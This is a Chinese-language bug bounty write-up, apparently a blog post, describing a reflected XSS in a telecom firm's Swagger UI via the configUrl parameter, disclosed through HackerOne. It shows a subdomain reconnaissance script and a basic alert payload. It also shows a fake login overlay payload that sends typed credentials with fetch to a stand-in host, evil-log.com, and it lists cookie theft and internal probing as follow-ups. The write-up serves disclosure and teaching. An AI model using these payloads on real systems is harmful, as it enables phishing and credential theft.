自动化侦察、历史数据挖掘与细致测试的完美结合
今天要分享一个真实的漏洞挖掘故事:如何通过自动化的侦察流程、历史URL的数据挖掘,以及一丝不苟的测试验证,成功发现一处中等危害级别的反射型跨站脚本攻击漏洞。这次发现最终获得了 400美元的官方赏金(经由HackerOne平台),目标是一家大型电信运营商的核心生产环境。
大家好,
我在一家大型电信企业的生产环境中,发现了一个反射型跨站脚本攻击漏洞,问题出在其Swagger UI接口实例上。
这个安全缺陷已经通过他们在HackerOne上的漏洞悬赏计划进行了负责任的披露,最终赢得了400美元的赏金。

漏洞评级:中等
潜在影响分析:
- 在目标域上下文中执行任意JavaScript代码
- 对用户界面进行恶意篡改与操控
- 存在注入钓鱼攻击页面的可能性
- 滥用受信任的企业域名进行攻击
系统化的侦察过程
我遵循了一套融合自动化工具与人工验证的结构化侦察方法。
第一步:子域名的全面枚举
将目标主域名列表保存在 scope.txt 文件中。
使用到的核心工具:
subfinderassetfinder
将所有工具的扫描结果进行合并、去重,并筛选出在测试范围内的目标子域名。
自动化枚举脚本示例
#!/bin/bash
echo -n "请输入目标域名列表文件名:"
read target_file
# 使用Subfinder进行初步发现
subfinder -dL $target_file -o subfinder_results.txt
# 使用Assetfinder进行补充收集
cat $target_file | while read domain; do
assetfinder "$domain" | tee -a assetfinder_results.txt
done
# 合并所有结果
cat subfinder_results.txt | tee -a all_subdomains.txt
cat assetfinder_results.txt | tee -a all_subdomains.txt
# 清理中间文件
rm assetfinder_results.txt subfinder_results.txt
# 统一URL协议为HTTPS
sed -i 's/http:\/\//https:\/\//g' all_subdomains.txt
# 去重排序
sort all_subdomains.txt | uniq | tee -a unique_subdomains.txt
rm all_subdomains.txt
# 精准筛选在测试范围内的域名
cat $target_file | while read in_scope_domain; do
grep "$in_scope_domain" unique_subdomains.txt | tee -a final_subdomains.txt
done
rm unique_subdomains.txt
第二步:活动主机的快速筛选
cat final_subdomains.txt | httpx -silent | tee -a live_hosts.txt
这一步过滤掉了无法访问或已失效的主机,只保留了可正常响应的资产,大大提高了后续测试的效率。
第三步:历史URL的数据“考古挖掘”
归档的历史URL常常会暴露出已被遗忘的接口端点或测试页面[1]。
cat live_hosts.txt | waybackurls | tee -a historical_urls.txt
根据经验,Swagger接口实例经常出现在以下环境中:
- 预发布或暂存部署环境
- 内部API技术文档站点
- 被遗忘的测试或开发环境
第四步:针对性的关键词过滤
接下来,在浩如烟海的历史URL中搜索Swagger相关的痕迹:
grep -i "swagger-ui.html" historical_urls.txt
正是在这里,我锁定了那个存在安全缺陷的端点。
漏洞的详细剖析
存在问题的Swagger UI端点接受一个名为 configUrl 的参数:
/swagger-ui.html?configUrl=
这个参数允许从外部动态加载JSON格式的配置文件,用以自定义Swagger UI的展示内容。
缺失的关键安全防护措施:
❌ 缺乏来源验证:未对configUrl指向的源站进行任何合法性校验。
❌ 未实施白名单机制:没有限制可加载配置文件的域名范围。
❌ 远程内容未净化:直接加载并渲染远程JSON内容,未进行安全过滤[2]。
这些安全控制的缺失,使得攻击者能够加载由自己控制的、托管在外部服务器的恶意JSON配置文件。
概念验证与漏洞复现
恶意构造的外部JSON文件内容:
{
"swagger": "2.0",
"info": {
"title": "<img src=x onerror=alert('XSS_'+document.domain)>",
"version": "1.0"
},
"paths": {}
}
将此JSON文件托管在攻击者可控制的服务器上(例如:https://evil-server.com/payload.json),然后诱导受害者访问以下链接:
https://target-telecom.com/swagger-ui.html?configUrl=https://evil-server.com/payload.json
攻击结果:
✅ 恶意JavaScript代码成功在目标域上下文中执行。
✅ 确认存在反射型XSS漏洞。
基于弹窗提示的R-XSS验证截图:

漏洞的扩展利用:注入伪造登录界面
为了更直观地展示漏洞的现实危害,我演示了如何在Swagger UI中注入一个完全仿真的登录表单。
使用的增强型恶意配置(JSON):
{
"swagger": "2.0",
"info": {
"title": "<div style='position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.8); z-index:9999; color:white; padding-top:100px; text-align:center; font-family:Arial;'><h2>系统安全升级通知</h2><p>您的会话已过期,为确保账户安全,请重新登录。</p><br><input type='text' placeholder='员工邮箱' id='user' style='padding:10px;'><br><br><input type='password' placeholder='密码' id='pass' style='padding:10px;'><br><br><button onclick='fetch(\"https://evil-log.com/steal?u=\"+document.getElementById(\"user\").value+\"&p=\"+document.getElementById(\"pass\").value); alert(\"登录成功,正在跳转...\")' style='padding:10px 20px;'>立即登录</button></div>",
"version": "1.0"
},
"paths": {}
}
通过访问包含此配置的URL,用户将看到一个覆盖全屏的、极具迷惑性的“安全升级”登录提示。
伪造登录界面的演示效果:

漏洞的深入利用方法与防护绕过技巧
除了基础的XSS,这类配置注入漏洞还可能被用于更高级的攻击:
1. 窃取敏感令牌与Cookie:
攻击者可以构造恶意脚本,窃取当前用户的document.cookie、LocalStorage中的JWT令牌,或通过fetch API将敏感数据外传[2]。
2. 发起内部网络探测(SSRF盲打):
利用受害者浏览器作为代理,访问并探测目标内网的API或管理界面(如 http://192.168.1.1/admin),并将响应结果回传到攻击者服务器。
3. 组合其他漏洞进行提权:
如果受害者是拥有更高权限的用户(如管理员),XSS漏洞可能成为其他攻击(如CSRF、权限提升)的跳板。
4. 利用框架特性绕过内容安全策略:
研究Swagger UI自身是否引入了某些宽松的CSP策略,或存在允许执行eval()等危险函数的情况,从而绕过常规的XSS防护。
核心收获与经验总结
1️⃣ 被忽视的Swagger UI也可能成为安全短板
开发与运维人员常常将Swagger UI视为无害的“文档页面”而忽视其安全配置。任何允许加载外部资源的参数都必须受到严格管控。
2️⃣ 历史数据是侦察阶段的“金矿”
利用Wayback Machine、Common Crawl等历史存档服务,配合gau、katana等现代化爬虫工具,可以系统性地发现那些不再被链接但仍可访问的“影子资产”[1]。
3️⃣ “自动化广度扫描 + 人工深度验证”是最佳实践
自动化工具(如ffuf, nuclei)负责快速地覆盖大量目标与常见漏洞模式;而安全研究员则专注于对可疑点进行深度分析、逻辑梳理和漏洞链构造,这是当前发现高质量漏洞的有效模式。
4️⃣ 漏洞挖掘需要关注“非常规”参数
除了常见的q、search、redirect等参数,应特别关注那些用于配置、调试、导入功能的参数,如config、debug、load、importUrl、template等,它们往往蕴含更高的风险。

